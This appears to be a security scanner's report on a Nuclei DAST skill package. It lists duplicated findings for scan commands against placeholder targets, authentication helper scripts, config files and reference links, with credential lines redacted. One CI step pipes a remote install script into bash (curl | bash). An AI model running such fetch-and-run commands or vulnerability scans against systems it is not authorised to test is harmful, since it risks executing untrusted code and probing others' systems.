  • Network accessline 461
    # Stage 1: API discovery and fingerprinting nuclei -u https://api.target.com -tags api,swagger,graphql -o api-discovery.txt
  • Network accessline 462
    nuclei -u https://api.target.com -tags api,swagger,graphql -o api-discovery.txt
  • Network accessline 462
    nuclei -u https://api.target.com -tags api,swagger,graphql -o api-discovery.txt
  • Network accessline 464
    # Stage 2: Authentication testing nuclei -u https://api.target.com -tags auth,jwt,oauth -o api-auth.txt
  • Network accessline 464
    # Stage 2: Authentication testing nuclei -u https://api.target.com -tags auth,jwt,oauth -o api-auth.txt
  • Network accessline 465
    nuclei -u https://api.target.com -tags auth,jwt,oauth -o api-auth.txt
  • Network accessline 465
    nuclei -u https://api.target.com -tags auth,jwt,oauth -o api-auth.txt
  • Network accessline 467
    # Stage 3: Known API CVEs nuclei -u https://api.target.com -tags api,cve -severity critical,high -o api-cves.txt
  • Network accessline 467
    # Stage 3: Known API CVEs nuclei -u https://api.target.com -tags api,cve -severity critical,high -o api-cves.txt
  • Network accessline 468
    nuclei -u https://api.target.com -tags api,cve -severity critical,high -o api-cves.txt
  • Network accessline 468
    nuclei -u https://api.target.com -tags api,cve -severity critical,high -o api-cves.txt
  • Network accessline 470
    # Stage 4: Business logic testing with custom templates nuclei -u https://api.target.com -t custom-templates/api/ -o api-custom.txt
  • Network accessline 470
    # Stage 4: Business logic testing with custom templates nuclei -u https://api.target.com -t custom-templates/api/ -o api-custom.txt
  • Network accessline 471
    nuclei -u https://api.target.com -t custom-templates/api/ -o api-custom.txt
  • Network accessline 471
    nuclei -u https://api.target.com -t custom-templates/api/ -o api-custom.txt
  • Network accessline 477
    # Daily scan with diff detection nuclei -u https://production-app.com \
  • Network accessline 477
    # Daily scan with diff detection nuclei -u https://production-app.com \
  • Network accessline 478
    nuclei -u https://production-app.com \
  • Network accessline 478
    nuclei -u https://production-app.com \
  • Network accessline 507
    - [Nuclei Documentation](https://docs.projectdiscovery.io/tools/nuclei/overview)
  • Network accessline 507
    - [Nuclei Documentation](https://docs.projectdiscovery.io/tools/nuclei/overview)
  • Network accessline 508
    - [Nuclei Templates Repository](https://github.com/projectdiscovery/nuclei-templates)
  • Network accessline 508
    - [Nuclei Templates Repository](https://github.com/projectdiscovery/nuclei-templates)
  • Network accessline 509
    - [OWASP Top 10](https://owasp.org/Top10/)
  • Network accessline 509
    - [OWASP Top 10](https://owasp.org/Top10/)
  • Network accessline 510
    - [CWE Database](https://cwe.mitre.org/)
  • Network accessline 510
    - [CWE Database](https://cwe.mitre.org/)

skills/appsec/dast-nuclei/assets/ci-config-template.yml

  • Network accessline 238
    if: hashFiles('**/*.tf') != ''         run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 238
    if: hashFiles('**/*.tf') != ''         run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 239
    run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash           tfsec . \
  • Network accessline 239
    run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash           tfsec . \
  • Dangerous shell operationline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Dangerous shell operationline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash

skills/appsec/dast-nuclei/assets/github_actions.yml

  • Network accessline 17
    description: 'Target URL to scan'         required: true         default: 'https://staging.example.com'
  • Network accessline 17
    description: 'Target URL to scan'         required: true         default: 'https://staging.example.com'
  • Network accessline 18
    required: true         default: 'https://staging.example.com'       severity:
  • Network accessline 18
    required: true         default: 'https://staging.example.com'       severity:
  • Network accessline 19
    default: 'https://staging.example.com'
  • Network accessline 19
    default: 'https://staging.example.com'
  • Network accessline 25
    env:   # Default target URL (override with workflow_dispatch input)   TARGET_URL: https://staging.example.com
  • Network accessline 25
    env:   # Default target URL (override with workflow_dispatch input)   TARGET_URL: https://staging.example.com
  • Network accessline 26
    # Default target URL (override with workflow_dispatch input)   TARGET_URL: https://staging.example.com   # Severity levels to scan
  • Network accessline 26
    # Default target URL (override with workflow_dispatch input)   TARGET_URL: https://staging.example.com   # Severity levels to scan
  • Network accessline 27
    TARGET_URL: https://staging.example.com
  • Network accessline 27
    TARGET_URL: https://staging.example.com
  • Network accessline 129
    View detailed results in the [workflow artifacts](https://github.com/${{ github.repository }}/actions/runs/${{ github.run_id }}).`;
  • Network accessline 129
    View detailed results in the [workflow artifacts](https://github.com/${{ github.repository }}/actions/runs/${{ github.run_id }}).`;
  • Network accessline 154
    "text": {                     "type": "mrkdwn",                     "text": "*Critical Security Vulnerabilities Detected*\n\n*Repository:* ${{ github.repository }}\n*Branch:* ${{ github.ref_name }}\n*Critical Findings:* ${{ steps.nuclei.out
  • Network accessline 154
    "text": {                     "type": "mrkdwn",                     "text": "*Critical Security Vulnerabilities Detected*\n\n*Repository:* ${{ github.repository }}\n*Branch:* ${{ github.ref_name }}\n*Critical Findings:* ${{ steps.nuclei.out
  • Network accessline 155
    "type": "mrkdwn",                     "text": "*Critical Security Vulnerabilities Detected*\n\n*Repository:* ${{ github.repository }}\n*Branch:* ${{ github.ref_name }}\n*Critical Findings:* ${{ steps.nuclei.outputs.critical }}\n*High Findin
  • Network accessline 155
    "type": "mrkdwn",                     "text": "*Critical Security Vulnerabilities Detected*\n\n*Repository:* ${{ github.repository }}\n*Branch:* ${{ github.ref_name }}\n*Critical Findings:* ${{ steps.nuclei.outputs.critical }}\n*High Findin
  • Network accessline 156
    "text": "*Critical Security Vulnerabilities Detected*\n\n*Repository:* ${{ github.repository }}\n*Branch:* ${{ github.ref_name }}\n*Critical Findings:* ${{ steps.nuclei.outputs.critical }}\n*High Findings:* ${{ steps.nuclei.outputs.high }}\
  • Network accessline 156
    "text": "*Critical Security Vulnerabilities Detected*\n\n*Repository:* ${{ github.repository }}\n*Branch:* ${{ github.ref_name }}\n*Critical Findings:* ${{ steps.nuclei.outputs.critical }}\n*High Findings:* ${{ steps.nuclei.outputs.high }}\

skills/appsec/dast-nuclei/assets/nuclei_config.yaml

  • Network accessline 56
    # Proxy configuration   # proxy: http://proxy.example.com:8080
  • Network accessline 56
    # Proxy configuration   # proxy: http://proxy.example.com:8080
  • Network accessline 57
    # proxy: http://proxy.example.com:8080
  • Network accessline 57
    # proxy: http://proxy.example.com:8080
  • Access to secretsline 150
    [Credential-related source omitted]
  • Access to secretsline 150
    [Credential-related source omitted]
  • Network accessline 186
    # Exclude specific hosts   # hosts:   #   - https://safe-domain.com
  • Network accessline 186
    # Exclude specific hosts   # hosts:   #   - https://safe-domain.com
  • Network accessline 187
    # hosts:   #   - https://safe-domain.com   #   - https://third-party.com
  • Network accessline 187
    # hosts:   #   - https://safe-domain.com   #   - https://third-party.com
  • Network accessline 188
    #   - https://safe-domain.com
  • Network accessline 188
    #   - https://safe-domain.com
  • Network accessline 189
    #   - https://third-party.com
  • Network accessline 189
    #   - https://third-party.com
  • Network accessline 202
    # Custom interactsh server   # server: https://interact.sh
  • Network accessline 202
    # Custom interactsh server   # server: https://interact.sh
  • Network accessline 203
    # server: https://interact.sh
  • Network accessline 203
    # server: https://interact.sh
  • Network accessline 224
    # Example usage: # nuclei -u https://target.com -config nuclei_config.yaml
  • Network accessline 224
    # Example usage: # nuclei -u https://target.com -config nuclei_config.yaml
  • Network accessline 225
    # nuclei -u https://target.com -config nuclei_config.yaml
  • Network accessline 225
    # nuclei -u https://target.com -config nuclei_config.yaml

skills/appsec/dast-nuclei/assets/rule-template.yaml

  • Network accessline 41
    # References       references:         - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 41
    # References       references:         - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 42
    references:         - "https://owasp.org/www-community/attacks/SQL_Injection"         - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 42
    references:         - "https://owasp.org/www-community/attacks/SQL_Injection"         - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 43
    - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 43
    - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 44
    - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 44
    - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 45
    - "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html"
  • Network accessline 45
    - "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html"
  • Network accessline 73
    See: https://owasp.org/www-community/attacks/SQL_Injection
  • Network accessline 73
    See: https://owasp.org/www-community/attacks/SQL_Injection
  • Network accessline 117
    references:         - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 117
    references:         - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 118
    - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 118
    - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 119
    - "https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password"
  • Network accessline 119
    - "https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password"
  • Access to secretsline 132
    [Credential-related source omitted]
  • Access to secretsline 132
    [Credential-related source omitted]
  • Access to secretsline 147
    [Credential-related source omitted]
  • Access to secretsline 147
    [Credential-related source omitted]
  • Access to secretsline 148
    [Credential-related source omitted]
  • Access to secretsline 148
    [Credential-related source omitted]
  • Network accessline 151
    See: https://cwe.mitre.org/data/definitions/798.html
  • Network accessline 151
    See: https://cwe.mitre.org/data/definitions/798.html
  • Access to secretsline 156
    [Credential-related source omitted]
  • Access to secretsline 156
    [Credential-related source omitted]
  • Access to secretsline 157
    [Credential-related source omitted]
  • Access to secretsline 157
    [Credential-related source omitted]
  • Access to secretsline 162
    [Credential-related source omitted]
  • Access to secretsline 162
    [Credential-related source omitted]
  • Access to secretsline 163
    [Credential-related source omitted]
  • Access to secretsline 163
    [Credential-related source omitted]
  • Access to secretsline 164
    [Credential-related source omitted]
  • Access to secretsline 164
    [Credential-related source omitted]
  • Access to secretsline 165
    [Credential-related source omitted]
  • Access to secretsline 165
    [Credential-related source omitted]
  • Network accessline 190
    references:         - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 190
    references:         - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 191
    - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 191
    - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 192
    - "https://cwe.mitre.org/data/definitions/79.html"
  • Network accessline 192
    - "https://cwe.mitre.org/data/definitions/79.html"
  • Network accessline 193
    - "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html"
  • Network accessline 193
    - "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html"
  • Network accessline 217
    See: https://owasp.org/www-community/attacks/xss/
  • Network accessline 217
    See: https://owasp.org/www-community/attacks/xss/
  • Network accessline 259
    references:         - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 259
    references:         - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 260
    - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 260
    - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 261
    - "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/"
  • Network accessline 261
    - "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/"
  • Network accessline 288
    See: https://cwe.mitre.org/data/definitions/327.html
  • Network accessline 288
    See: https://cwe.mitre.org/data/definitions/327.html

skills/appsec/dast-nuclei/references/EXAMPLE.md

  • Access to secretsline 423
    [Credential-related source omitted]
  • Access to secretsline 423
    [Credential-related source omitted]
  • Access to secretsline 424
    [Credential-related source omitted]
  • Access to secretsline 424
    [Credential-related source omitted]
  • Access to secretsline 425
    [Credential-related source omitted]
  • Access to secretsline 425
    [Credential-related source omitted]
  • Access to secretsline 427
    [Credential-related source omitted]
  • Access to secretsline 427
    [Credential-related source omitted]
  • Access to secretsline 430
    [Credential-related source omitted]
  • Access to secretsline 430
    [Credential-related source omitted]
  • Access to secretsline 432
    [Credential-related source omitted]
  • Access to secretsline 432
    [Credential-related source omitted]
  • Access to secretsline 437
    [Credential-related source omitted]
  • Access to secretsline 437
    [Credential-related source omitted]
  • Access to secretsline 444
    [Credential-related source omitted]
  • Access to secretsline 444
    [Credential-related source omitted]

skills/appsec/dast-nuclei/references/authentication_patterns.md

  • Network accessline 16
    # Using header flag nuclei -u https://api.target.com \
  • Network accessline 16
    # Using header flag nuclei -u https://api.target.com \
  • Network accessline 17
    [Credential-related source omitted]
  • Network accessline 17
    [Credential-related source omitted]
  • Access to secretsline 17
    [Credential-related source omitted]
  • Access to secretsline 17
    [Credential-related source omitted]
  • Access to secretsline 18
    [Credential-related source omitted]
  • Access to secretsline 18
    [Credential-related source omitted]
  • Network accessline 21
    [Credential-related source omitted]
  • Network accessline 21
    [Credential-related source omitted]
  • Network accessline 22
    [Credential-related source omitted]
  • Network accessline 22
    [Credential-related source omitted]
  • Access to secretsline 22
    [Credential-related source omitted]
  • Access to secretsline 22
    [Credential-related source omitted]
  • Network accessline 23
    [Credential-related source omitted]
  • Network accessline 23
    [Credential-related source omitted]
  • Access to secretsline 23
    [Credential-related source omitted]
  • Access to secretsline 23
    [Credential-related source omitted]
  • Access to secretsline 24
    [Credential-related source omitted]
  • Access to secretsline 24
    [Credential-related source omitted]
  • Network accessline 30
    [Credential-related source omitted]
  • Network accessline 30
    [Credential-related source omitted]
  • Network accessline 31
    [Credential-related source omitted]
  • Network accessline 31
    [Credential-related source omitted]
  • Access to secretsline 31
    [Credential-related source omitted]
  • Access to secretsline 31
    [Credential-related source omitted]
  • Access to secretsline 33
    [Credential-related source omitted]
  • Access to secretsline 33
    [Credential-related source omitted]
  • Network accessline 35
    # Scan with token nuclei -u https://api.target.com \
  • Network accessline 35
    # Scan with token nuclei -u https://api.target.com \
  • Network accessline 36
    nuclei -u https://api.target.com \
  • Network accessline 36
    nuclei -u https://api.target.com \
  • Network accessline 40
    [Credential-related source omitted]
  • Network accessline 40
    [Credential-related source omitted]
  • Network accessline 41
    [Credential-related source omitted]
  • Network accessline 41
    [Credential-related source omitted]
  • Access to secretsline 41
    [Credential-related source omitted]
  • Access to secretsline 41
    [Credential-related source omitted]
  • Access to secretsline 42
    [Credential-related source omitted]
  • Access to secretsline 42
    [Credential-related source omitted]
  • Network accessline 50
    # Login and extract session cookie curl -c cookies.txt -X POST https://target-app.com/login \
  • Network accessline 50
    # Login and extract session cookie curl -c cookies.txt -X POST https://target-app.com/login \
  • Network accessline 51
    curl -c cookies.txt -X POST https://target-app.com/login \
  • Network accessline 51
    curl -c cookies.txt -X POST https://target-app.com/login \
  • Network accessline 57
    # Scan with session cookie nuclei -u https://target-app.com \
  • Network accessline 57
    # Scan with session cookie nuclei -u https://target-app.com \
  • Network accessline 58
    nuclei -u https://target-app.com \
  • Network accessline 58
    nuclei -u https://target-app.com \
  • Network accessline 66
    # Multiple cookies can be specified nuclei -u https://target-app.com \
  • Network accessline 66
    # Multiple cookies can be specified nuclei -u https://target-app.com \
  • Network accessline 67
    nuclei -u https://target-app.com \
  • Network accessline 67
    nuclei -u https://target-app.com \
  • Network accessline 77
    # API key in header nuclei -u https://api.target.com \
  • Network accessline 77
    # API key in header nuclei -u https://api.target.com \
  • Network accessline 78
    [Credential-related source omitted]
  • Network accessline 78
    [Credential-related source omitted]
  • Access to secretsline 78
    [Credential-related source omitted]
  • Access to secretsline 78
    [Credential-related source omitted]
  • Access to secretsline 79
    [Credential-related source omitted]
  • Access to secretsline 79
    [Credential-related source omitted]
  • Network accessline 82
    # Multiple API authentication headers nuclei -u https://api.target.com \
  • Network accessline 82
    # Multiple API authentication headers nuclei -u https://api.target.com \
  • Network accessline 83
    [Credential-related source omitted]
  • Network accessline 83
    [Credential-related source omitted]
  • Access to secretsline 83
    [Credential-related source omitted]
  • Access to secretsline 83
    [Credential-related source omitted]
  • Access to secretsline 84
    [Credential-related source omitted]
  • Access to secretsline 84
    [Credential-related source omitted]
  • Access to secretsline 103
    [Credential-related source omitted]
  • Access to secretsline 103
    [Credential-related source omitted]
  • Access to secretsline 106
    [Credential-related source omitted]
  • Access to secretsline 106
    [Credential-related source omitted]
  • Access to secretsline 107
    [Credential-related source omitted]
  • Access to secretsline 107
    [Credential-related source omitted]
  • Network accessline 115
    [Credential-related source omitted]
  • Network accessline 115
    [Credential-related source omitted]
  • Network accessline 116
    [Credential-related source omitted]
  • Network accessline 116
    [Credential-related source omitted]
  • Access to secretsline 116
    [Credential-related source omitted]
  • Access to secretsline 116
    [Credential-related source omitted]
  • Access to secretsline 119
    [Credential-related source omitted]
  • Access to secretsline 119
    [Credential-related source omitted]
  • Access to secretsline 120
    [Credential-related source omitted]
  • Access to secretsline 120
    [Credential-related source omitted]
  • Network accessline 122
    # Scan with OAuth token nuclei -u https://api.target.com \
  • Network accessline 122
    # Scan with OAuth token nuclei -u https://api.target.com \
  • Network accessline 123
    [Credential-related source omitted]
  • Network accessline 123
    [Credential-related source omitted]
  • Access to secretsline 123
    [Credential-related source omitted]
  • Access to secretsline 123
    [Credential-related source omitted]
  • Access to secretsline 124
    [Credential-related source omitted]
  • Access to secretsline 124
    [Credential-related source omitted]
  • Network accessline 131
    # Step 1: Manual authorization to get code # Navigate to: https://auth.target.com/oauth/authorize?client_id=$CLIENT_ID&redirect_uri=$REDIRECT_URI&response_type=code
  • Network accessline 131
    # Step 1: Manual authorization to get code # Navigate to: https://auth.target.com/oauth/authorize?client_id=$CLIENT_ID&redirect_uri=$REDIRECT_URI&response_type=code
  • Network accessline 132
    # Navigate to: https://auth.target.com/oauth/authorize?client_id=$CLIENT_ID&redirect_uri=$REDIRECT_URI&response_type=code
  • Network accessline 132
    # Navigate to: https://auth.target.com/oauth/authorize?client_id=$CLIENT_ID&redirect_uri=$REDIRECT_URI&response_type=code
  • Network accessline 134
    [Credential-related source omitted]
  • Network accessline 134
    [Credential-related source omitted]
  • Network accessline 135
    [Credential-related source omitted]
  • Network accessline 135
    [Credential-related source omitted]
  • Network accessline 136
    [Credential-related source omitted]
  • Network accessline 136
    [Credential-related source omitted]
  • Access to secretsline 136
    [Credential-related source omitted]
  • Access to secretsline 136
    [Credential-related source omitted]
  • Access to secretsline 140
    [Credential-related source omitted]
  • Access to secretsline 140
    [Credential-related source omitted]
  • Access to secretsline 141
    [Credential-related source omitted]
  • Access to secretsline 141
    [Credential-related source omitted]
  • Network accessline 143
    # Step 3: Scan nuclei -u https://api.target.com \
  • Network accessline 143
    # Step 3: Scan nuclei -u https://api.target.com \
  • Network accessline 144
    [Credential-related source omitted]
  • Network accessline 144
    [Credential-related source omitted]
  • Access to secretsline 144
    [Credential-related source omitted]
  • Access to secretsline 144
    [Credential-related source omitted]
  • Access to secretsline 145
    [Credential-related source omitted]
  • Access to secretsline 145
    [Credential-related source omitted]
  • Access to secretsline 155
    [Credential-related source omitted]
  • Access to secretsline 155
    [Credential-related source omitted]
  • Network accessline 158
    # Function to get fresh access token get_access_token() {   curl -s -X POST https://auth.target.com/oauth/token \
  • Network accessline 158
    # Function to get fresh access token get_access_token() {   curl -s -X POST https://auth.target.com/oauth/token \
  • Network accessline 159
    [Credential-related source omitted]
  • Network accessline 159
    [Credential-related source omitted]
  • Access to secretsline 159
    [Credential-related source omitted]
  • Access to secretsline 159
    [Credential-related source omitted]
  • Network accessline 160
    [Credential-related source omitted]
  • Network accessline 160
    [Credential-related source omitted]
  • Access to secretsline 160
    [Credential-related source omitted]
  • Access to secretsline 160
    [Credential-related source omitted]
  • Access to secretsline 162
    [Credential-related source omitted]
  • Access to secretsline 162
    [Credential-related source omitted]
  • Access to secretsline 164
    [Credential-related source omitted]
  • Access to secretsline 164
    [Credential-related source omitted]
  • Network accessline 167
    [Credential-related source omitted]
  • Network accessline 167
    [Credential-related source omitted]
  • Network accessline 168
    [Credential-related source omitted]
  • Network accessline 168
    [Credential-related source omitted]
  • Access to secretsline 168
    [Credential-related source omitted]
  • Access to secretsline 168
    [Credential-related source omitted]
  • Network accessline 169
    [Credential-related source omitted]
  • Network accessline 169
    [Credential-related source omitted]
  • Access to secretsline 169
    [Credential-related source omitted]
  • Access to secretsline 169
    [Credential-related source omitted]
  • Access to secretsline 170
    [Credential-related source omitted]
  • Access to secretsline 170
    [Credential-related source omitted]
  • Network accessline 184
    def login_and_get_session():     """Login and return session cookie"""     session = requests.Session()
  • Network accessline 184
    def login_and_get_session():     """Login and return session cookie"""     session = requests.Session()
  • Network accessline 186
    session = requests.Session()
  • Network accessline 186
    session = requests.Session()
  • Network accessline 194
    response = session.post(         "https://target-app.com/login",
  • Network accessline 194
    response = session.post(         "https://target-app.com/login",
  • Network accessline 195
    "https://target-app.com/login",
  • Network accessline 195
    "https://target-app.com/login",
  • Network accessline 220
    if __name__ == "__main__":     target = sys.argv[1] if len(sys.argv) > 1 else "https://target-app.com"
  • Network accessline 220
    if __name__ == "__main__":     target = sys.argv[1] if len(sys.argv) > 1 else "https://target-app.com"
  • Network accessline 221
    target = sys.argv[1] if len(sys.argv) > 1 else "https://target-app.com"
  • Network accessline 221
    target = sys.argv[1] if len(sys.argv) > 1 else "https://target-app.com"
  • Network accessline 240
    def saml_login(idp_url, username, password):     """Perform SAML authentication flow"""     session = requests.Session()
  • Network accessline 240
    def saml_login(idp_url, username, password):     """Perform SAML authentication flow"""     session = requests.Session()
  • Network accessline 242
    session = requests.Session()
  • Network accessline 242
    session = requests.Session()
  • Network accessline 244
    # Step 1: Get SAML request from SP     sp_response = session.get("https://target-app.com/saml/login")
  • Network accessline 244
    # Step 1: Get SAML request from SP     sp_response = session.get("https://target-app.com/saml/login")
  • Network accessline 245
    sp_response = session.get("https://target-app.com/saml/login")
  • Network accessline 245
    sp_response = session.get("https://target-app.com/saml/login")
  • Network accessline 264
    sp_acs = session.post(         "https://target-app.com/saml/acs",
  • Network accessline 264
    sp_acs = session.post(         "https://target-app.com/saml/acs",
  • Network accessline 265
    "https://target-app.com/saml/acs",
  • Network accessline 265
    "https://target-app.com/saml/acs",
  • Network accessline 272
    # Use in Nuclei scan cookies = saml_login(     "https://idp.example.com/saml/login",
  • Network accessline 272
    # Use in Nuclei scan cookies = saml_login(     "https://idp.example.com/saml/login",
  • Network accessline 273
    cookies = saml_login(     "https://idp.example.com/saml/login",     "testuser",
  • Network accessline 273
    cookies = saml_login(     "https://idp.example.com/saml/login",     "testuser",
  • Network accessline 274
    "https://idp.example.com/saml/login",
  • Network accessline 274
    "https://idp.example.com/saml/login",
  • Network accessline 280
    subprocess.run([     "nuclei",     "-u", "https://target-app.com",
  • Network accessline 280
    subprocess.run([     "nuclei",     "-u", "https://target-app.com",
  • Network accessline 281
    "nuclei",     "-u", "https://target-app.com",     "-header", f"Cookie: {cookie_header}",
  • Network accessline 281
    "nuclei",     "-u", "https://target-app.com",     "-header", f"Cookie: {cookie_header}",
  • Network accessline 282
    "-u", "https://target-app.com",
  • Network accessline 282
    "-u", "https://target-app.com",
  • Network accessline 298
    def login_with_mfa(username, password, totp_secret):     """Login with username, password, and TOTP"""     session = requests.Session()
  • Network accessline 298
    def login_with_mfa(username, password, totp_secret):     """Login with username, password, and TOTP"""     session = requests.Session()
  • Network accessline 300
    session = requests.Session()
  • Network accessline 300
    session = requests.Session()
  • Network accessline 302
    # Step 1: Submit username and password     login_response = session.post(         "https://target-app.com/login",
  • Network accessline 302
    # Step 1: Submit username and password     login_response = session.post(         "https://target-app.com/login",
  • Network accessline 303
    login_response = session.post(         "https://target-app.com/login",         data={
  • Network accessline 303
    login_response = session.post(         "https://target-app.com/login",         data={
  • Network accessline 304
    "https://target-app.com/login",
  • Network accessline 304
    "https://target-app.com/login",
  • Network accessline 315
    mfa_response = session.post(         "https://target-app.com/mfa/verify",
  • Network accessline 315
    mfa_response = session.post(         "https://target-app.com/mfa/verify",
  • Network accessline 316
    "https://target-app.com/mfa/verify",
  • Network accessline 316
    "https://target-app.com/mfa/verify",
  • Network accessline 332
    subprocess.run([     "nuclei",     "-u", "https://target-app.com",
  • Network accessline 332
    subprocess.run([     "nuclei",     "-u", "https://target-app.com",
  • Network accessline 333
    "nuclei",     "-u", "https://target-app.com",     "-header", f"Cookie: session={session_cookie}",
  • Network accessline 333
    "nuclei",     "-u", "https://target-app.com",     "-header", f"Cookie: session={session_cookie}",
  • Network accessline 334
    "-u", "https://target-app.com",
  • Network accessline 334
    "-u", "https://target-app.com",
  • Network accessline 346
    echo "Step 1: Performing initial login..." curl -c cookies.txt -X POST https://target-app.com/login \
  • Network accessline 346
    echo "Step 1: Performing initial login..." curl -c cookies.txt -X POST https://target-app.com/login \
  • Network accessline 347
    curl -c cookies.txt -X POST https://target-app.com/login \
  • Network accessline 347
    curl -c cookies.txt -X POST https://target-app.com/login \
  • Network accessline 353
    echo "Step 3: Submitting MFA code..." curl -b cookies.txt -c cookies.txt -X POST https://target-app.com/mfa/verify \
  • Network accessline 353
    echo "Step 3: Submitting MFA code..." curl -b cookies.txt -c cookies.txt -X POST https://target-app.com/mfa/verify \
  • Network accessline 354
    curl -b cookies.txt -c cookies.txt -X POST https://target-app.com/mfa/verify \
  • Network accessline 354
    curl -b cookies.txt -c cookies.txt -X POST https://target-app.com/mfa/verify \
  • Network accessline 357
    echo "Step 4: Running Nuclei scan with authenticated session..." SESSION=$(grep session cookies.txt | awk '{print $7}') nuclei -u https://target-app.com \
  • Network accessline 357
    echo "Step 4: Running Nuclei scan with authenticated session..." SESSION=$(grep session cookies.txt | awk '{print $7}') nuclei -u https://target-app.com \
  • Network accessline 358
    SESSION=$(grep session cookies.txt | awk '{print $7}') nuclei -u https://target-app.com \   -header "Cookie: session=$SESSION" \
  • Network accessline 358
    SESSION=$(grep session cookies.txt | awk '{print $7}') nuclei -u https://target-app.com \   -header "Cookie: session=$SESSION" \
  • Network accessline 359
    nuclei -u https://target-app.com \
  • Network accessline 359
    nuclei -u https://target-app.com \
  • Network accessline 375
    TARGET_URL="https://api.target.com"
  • Network accessline 375
    TARGET_URL="https://api.target.com"
  • Network accessline 376
    AUTH_ENDPOINT="https://auth.target.com/token"
  • Network accessline 376
    AUTH_ENDPOINT="https://auth.target.com/token"
  • Access to secretsline 378
    [Credential-related source omitted]
  • Access to secretsline 378
    [Credential-related source omitted]
  • Network accessline 380
    # Function to get new token refresh_token() {   curl -s -X POST $AUTH_ENDPOINT \
  • Network accessline 380
    # Function to get new token refresh_token() {   curl -s -X POST $AUTH_ENDPOINT \
  • Network accessline 381
    refresh_token() {   curl -s -X POST $AUTH_ENDPOINT \     -d "grant_type=client_credentials" \
  • Network accessline 381
    refresh_token() {   curl -s -X POST $AUTH_ENDPOINT \     -d "grant_type=client_credentials" \
  • Network accessline 382
    [Credential-related source omitted]
  • Network accessline 382
    [Credential-related source omitted]
  • Access to secretsline 382
    [Credential-related source omitted]
  • Access to secretsline 382
    [Credential-related source omitted]
  • Access to secretsline 385
    [Credential-related source omitted]
  • Access to secretsline 385
    [Credential-related source omitted]
  • Access to secretsline 415
    [Credential-related source omitted]
  • Access to secretsline 415
    [Credential-related source omitted]
  • Network accessline 420
    [Credential-related source omitted]
  • Network accessline 420
    [Credential-related source omitted]
  • Access to secretsline 420
    [Credential-related source omitted]
  • Access to secretsline 420
    [Credential-related source omitted]
  • Access to secretsline 421
    [Credential-related source omitted]
  • Access to secretsline 421
    [Credential-related source omitted]
  • Network accessline 422
    -severity critical,high \     -o "results/$(echo $target | sed 's|https://||' | sed 's|/|_|g').txt"
  • Network accessline 422
    -severity critical,high \     -o "results/$(echo $target | sed 's|https://||' | sed 's|/|_|g').txt"
  • Network accessline 423
    -o "results/$(echo $target | sed 's|https://||' | sed 's|/|_|g').txt"
  • Network accessline 423
    -o "results/$(echo $target | sed 's|https://||' | sed 's|/|_|g').txt"
  • Network accessline 447
    # Add token refresh logic nuclei -u https://api.target.com \
  • Network accessline 447
    # Add token refresh logic nuclei -u https://api.target.com \
  • Network accessline 448
    nuclei -u https://api.target.com \
  • Network accessline 448
    nuclei -u https://api.target.com \
  • Network accessline 452
    [Credential-related source omitted]
  • Network accessline 452
    [Credential-related source omitted]
  • Network accessline 453
    nuclei -u https://api.target.com \
  • Network accessline 453
    nuclei -u https://api.target.com \
  • Network accessline 462
    # Debug session cookie curl -v https://target-app.com/protected-page \
  • Network accessline 462
    # Debug session cookie curl -v https://target-app.com/protected-page \
  • Network accessline 463
    curl -v https://target-app.com/protected-page \
  • Network accessline 463
    curl -v https://target-app.com/protected-page \
  • Network accessline 476
    # Some APIs require multiple auth headers nuclei -u https://api.target.com \
  • Network accessline 476
    # Some APIs require multiple auth headers nuclei -u https://api.target.com \
  • Network accessline 477
    [Credential-related source omitted]
  • Network accessline 477
    [Credential-related source omitted]
  • Access to secretsline 477
    [Credential-related source omitted]
  • Access to secretsline 477
    [Credential-related source omitted]
  • Access to secretsline 479
    [Credential-related source omitted]
  • Access to secretsline 479
    [Credential-related source omitted]
  • Network accessline 486
    - [OAuth 2.0 RFC](https://oauth.net/2/)
  • Network accessline 486
    - [OAuth 2.0 RFC](https://oauth.net/2/)
  • Network accessline 487
